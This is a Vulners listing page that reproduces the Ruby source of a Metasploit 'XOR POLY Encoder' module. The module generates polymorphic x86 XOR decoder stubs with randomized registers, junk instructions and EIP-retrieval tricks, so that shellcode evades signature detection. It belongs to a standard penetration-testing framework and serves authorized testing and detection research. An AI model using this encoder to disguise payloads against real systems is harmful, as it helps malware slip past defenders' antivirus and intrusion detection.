Lucene search
K

XOR POLY Encoder

🗓️ 21 Mar 2023 19:50:29Reported by Arthur RAOUTType 
metasploit
 metasploit
🔗 www.rapid7.com👁 305 Views

XOR POLY Encoder x86 Simple POLY Xor encoding method with polymorphism Register swapping and instructions modificatio

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Encoder::Xor

  def initialize
    super(
      'Name' => 'XOR POLY Encoder',
      'Description' => 'An x86 Simple POLY Xor encoding method. using polymorphism Register swapping, and instructions modification',
      'Author' => [ 'Arthur RAOUT' ],
      'Arch' => ARCH_X86,
      'License' => MSF_LICENSE,
      'Decoder' => {
        'KeySize' => 4,
        'BlockSize' => 4,
        'KeyPack' => 'V'
      }
      )
  end

  # Indicate that this module can preserve the registers used
  def can_preserve_registers?
    true
  end

  # select a permutation from table
  def choose_permutation(state, table)
    table = table.shuffle
    for i in 0..table.length - 1
      if table[i].count(state.badchars).zero?
        return table[i]
      end
    end
    raise 'No permutation found for the badchar set :' + state.badchars.inspect
  end

  # generate instruction for a push
  def register_preservation_generate(flag, regs)
    ret = ''
    pop = 0b0101_1000
    push = 0b0101_0000
    if flag == 0
      for r in regs
        ret += [push | r].pack('C')
      end
    end
    if flag == 1
      for r in regs.reverse
        ret += [pop | r].pack('C')
      end
    end
    return ret
  end

  def decoder_stub(state)
    state.decoder_key_size = 4
    state.decoder_key_pack = 'V'
    # calculate the (negative) and positive block count.
    block_count = [-(((state.buf.length - 1) / state.decoder_key_size) + 1)].pack('V')
    block_count_positive = [(((state.buf.length - 1) / state.decoder_key_size) + 1)].pack('V')

    regs = [0b0000, 0b0001, 0b0010, 0b0011, 0b0110, 0b0111]

    pop = 0b0101_1000
    push = 0b0101_0000
    mov = 0b1011_1000

    reg1 = regs[rand(6)]
    regs.delete(reg1)
    reg2 = regs[rand(5)]
    regs.delete(reg2)
    reg3 = regs[rand(4)]
    regs.delete(reg3)
    reg4 = regs[rand(3)] # reg4 is useless and used for nopLike operations
    regs.delete(reg4)

    # NOPS
    nop_nop_nop_nop = "\x90\x90\x90\x90" # 4 bytes
    push_pop12 = [push | reg1, push | reg2, pop | reg2, pop | reg1].pack('CCCC') # 4 bytes
    push_pop34 = [push | reg3, push | reg4, pop | reg4, pop | reg3].pack('CCCC') # 4 bytes
    push_pop56 = [push | reg4, push | reg1, pop | reg1, pop | reg4].pack('CCCC') # 4 bytes

    sub_reg_0 = [0x83, (0xE8 | rand(6)), 0x00].pack('CCC') # 3 bytes
    add_reg_0 = [0x83, (0xc0 | rand(6)), 0x00].pack('CCC') # 3 bytes
    add_reg4_1 = [0x83, (0xc0 | reg4), 0x01].pack('CCC') # 3 bytes
    add_reg4_33 = [0x83, (0xc0 | reg4), 0x33].pack('CCC') # 3 bytes
    add_reg4_f1 = [0x83, (0xc0 | reg4), 0xf1].pack('CCC') # 3 bytes
    nop_nop_nop = "\x90\x90\x90" # 3 bytes

    push_pop1 = [push | reg1, pop | reg1].pack('CC') # 2 bytes
    push_pop2 = [push | reg2, pop | reg2].pack('CC') # 2 bytes
    push_pop3 = [push | reg3, pop | reg3].pack('CC') # 2 bytes
    push_pop4 = [push | reg4, pop | reg4].pack('CC') # 2 bytes
    inc_reg1_dec_reg1 = [0x40 | reg1, 0x48 | reg1].pack('CC') # 2 bytes
    inc_reg2_dec_reg2 = [0x40 | reg2, 0x48 | reg2].pack('CC') # 2 bytes
    inc_reg3_dec_reg3 = [0x40 | reg3, 0x48 | reg3].pack('CC') # 2 bytes
    inc_reg4_dec_reg4 = [0x40 | reg4, 0x48 | reg4].pack('CC') # 2 bytes

    # nops tables by size
    nops_2_bytes = [push_pop1, push_pop2, push_pop3, push_pop4, "\x90\x90", inc_reg1_dec_reg1, inc_reg2_dec_reg2, inc_reg3_dec_reg3, inc_reg4_dec_reg4]
    nops_3_bytes = [nop_nop_nop, push_pop1 + "\x90", push_pop2 + "\x90", push_pop3 + "\x90", push_pop4 + "\x90", sub_reg_0, add_reg_0, choose_permutation(state, nops_2_bytes) + "\x90", add_reg4_1, add_reg4_33, add_reg4_f1]
    nops_4_bytes = [nop_nop_nop_nop, push_pop12, push_pop34, push_pop56, choose_permutation(state, nops_2_bytes) + choose_permutation(state, nops_2_bytes), choose_permutation(state, nops_3_bytes) + "\x90"]

    # THE DECODER CODE
    pop_reg1 = [pop | reg1].pack('C')

    # sub 5 from reg1 on 5 byte
    sub_reg1_5 = [0x83, (0xE8 | reg1), 0x05].pack('CCC') + choose_permutation(state, nops_2_bytes) # 5 bytes
    add_reg1_neg5 = [0x83, (0xc0 | reg1), 0xfb].pack('CCC') + choose_permutation(state, nops_2_bytes) # 5 bytes
    dec_reg1_5 = [0x48 | reg1, 0x48 | reg1, 0x48 | reg1, 0x48 | reg1, 0x48 | reg1].pack('CCCCC') # 5 bytes

    # set reg2 to 0, on 6 bytes
    xor_reg2_reg2 = [0x31, (0xC0 | (reg2 << 3) | reg2)].pack('CC') + choose_permutation(state, nops_4_bytes) # 6 bytes
    and_reg2_0 = [0x83, (0xE0 | reg2), 0x00].pack('CCC') + choose_permutation(state, nops_3_bytes) # 6 bytes
    lea_reg2_0 = [0x8D, (0x05 | (reg2 << 3)), 0x00, 0x00, 0x00, 0x00].pack('CCCCCC')
    imul_reg2_reg2_0 = [0x6b, (0xC0 | (reg2 << 3) | reg2), 0x00].pack('CCC') + choose_permutation(state, nops_3_bytes) # 6 bytes
    sub_reg2_reg2 = [0x29, (0xC0 | (reg2 << 3) | reg2)].pack('CC') + choose_permutation(state, nops_4_bytes) # 6 bytes
    push0_popreg2 = [0x6A, 0x00, (0x58 | reg2)].pack('CCC') + choose_permutation(state, nops_3_bytes) # 6 bytes

    # SET REG2 TO BLOCK_COUNT
    sub_reg2_bc = [0x81, (0xe8 | reg2)].pack('CC') + block_count
    add_reg2_bc = [0x81, (0xc0 | reg2)].pack('CC') + block_count_positive

    mov_reg3 = [mov | reg3].pack('C')
    xor_rel_reg1_reg3 = [0x31, (0x40 | (reg3 << 3 | reg1))].pack('cc')

    # ADD 4 TO REG1
    add_reg1_4 = [0x83, (0xC0 | reg1), 0x04].pack('CCC') + choose_permutation(state, nops_3_bytes) # 6 bytes
    sub_reg1_neg4 = [0x83, (0xE8 | reg1), 0xFC].pack('CCC') + choose_permutation(state, nops_3_bytes) # 6 bytes
    inc_reg1_4 = [0x40 | reg1, 0x40 | reg1, 0x40 | reg1, 0x40 | reg1].pack('CCCC') + choose_permutation(state, nops_2_bytes) # 6 bytes

    # sub 1 from reg2 on 6 bytes
    dec_r2 = [0xFF, (0xC8 | reg2)].pack('CC')
    sub_reg2_1 = [0x83, (0xE8 | reg2), 0x01].pack('CCC')
    add_reg2_neg1 = [0x83, (0xC0 | reg2), 0xFF].pack('CCC')

    set_reg2_0 = [xor_reg2_reg2, and_reg2_0, lea_reg2_0, imul_reg2_reg2_0, sub_reg2_reg2, push0_popreg2]
    sub_reg1_0x5 = [sub_reg1_5, add_reg1_neg5, dec_reg1_5]
    set_reg2_bc = [sub_reg2_bc, add_reg2_bc]

    # GET EIP TO REG1
    call_pop = [0xE8, 0x00, 0x00, 0x00, 0x00].pack('CCCCC') + pop_reg1 + choose_permutation(state, sub_reg1_0x5)
    fpu_inst = ["\xD9\xE0", "\xDF\xE9", "\xDB\xC9", "\xDA\xD9", "\xDA\xC1", "\xDA\xD1", "\xDB\xD9"] # 2 bytes
    fnstenv_pop = choose_permutation(state, fpu_inst) + "\xD9\x74\x24\xF4" + pop_reg1
    add_reg1_0x4 = [add_reg1_4, sub_reg1_neg4, inc_reg1_4]
    dec_reg2 = [dec_r2, sub_reg2_1, add_reg2_neg1]
    get_eip = [call_pop, fnstenv_pop]

    small_junk = [choose_permutation(state, nops_2_bytes), choose_permutation(state, nops_3_bytes), choose_permutation(state, nops_4_bytes)]

    reg_for_preservation = [reg1, reg2, reg3, reg4].shuffle
    reg_push = register_preservation_generate(0, reg_for_preservation)
    reg_pop = register_preservation_generate(1, reg_for_preservation)
    geip = choose_permutation(state, get_eip)
    junk = choose_permutation(state, small_junk)
    reg2_0 = choose_permutation(state, set_reg2_0)
    block_count_set = choose_permutation(state, set_reg2_bc)
    reg1_add4 = choose_permutation(state, add_reg1_0x4)
    decrement_reg2 = choose_permutation(state, dec_reg2)

    decoder = reg_push +
              geip +                                      # get EIP into REG1
              junk +                                      # small junk
              reg2_0 +                                    # set REG2 to 0
              block_count_set + # sub reg2, block_count
              mov_reg3 + 'XXXX' +                         # mov reg3, 0xKEY_KEY_KEY_KEY
              xor_rel_reg1_reg3 + 'LL' +                  # xor [reg1+DECODER_LEN], reg3
              reg1_add4 + # add reg1, 4
              decrement_reg2 + # dec reg2
              "\x75" + 'SS' + # jnz to xor
              reg_pop

    decoder_len = decoder.size
    jmp = decoder.index(xor_rel_reg1_reg3) - decoder.index('SS')
    decoder.sub! 'SS', [jmp].pack('C')
    decoder.sub! 'LL', [decoder_len - 6].pack('C')
    # example of decoder generated
    # e800000000     call loc._start.continue
    # 58             pop eax
    # 83e805         sub eax, 5
    # 31c9           xor ecx, ecx
    # 81e9bbbbbbbb   sub ecx, 0xbbbbbbbb
    # bbaaaaaaaa     mov ebx, 0xaaaaaaaa
    # 31581f         xor dword [eax + 0x1f], ebx
    # 83e8f4         sub eax, 0xfffffff4
    # e2f8           loop loc._start.check
    state.decoder_key_offset = decoder.index('XXXX')
    return decoder
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

08 Jun 2026 19:03Current
7.1High risk
Vulners AI Score7.1
305